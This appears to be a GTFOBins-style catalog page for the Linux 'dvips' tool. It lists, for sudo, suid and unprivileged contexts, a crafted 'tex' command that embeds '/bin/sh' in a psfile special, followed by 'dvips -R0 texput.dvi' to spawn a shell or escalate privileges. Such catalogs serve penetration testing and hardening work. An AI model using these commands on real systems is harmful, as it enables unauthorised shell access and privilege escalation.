CatalogGTFOBins

GTFO · Tool

dvips

3 techniquesLinuxGTFOBinsGPL-3.0

shell

ExecutionPrivilege EscalationLinux

The `texput.dvi` output file produced by `tex` can be created offline and uploaded to the target. ``` tex '\special{psfile="`/bin/sh 1>&0"}\end' ```

dvips -R0 texput.dvi
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux

The `texput.dvi` output file produced by `tex` can be created offline and uploaded to the target. ``` tex '\special{psfile="`/bin/sh 1>&0"}\end' ```

dvips -R0 texput.dvi
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionLinux

The `texput.dvi` output file produced by `tex` can be created offline and uploaded to the target. ``` tex '\special{psfile="`/bin/sh 1>&0"}\end' ```

dvips -R0 texput.dvi
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059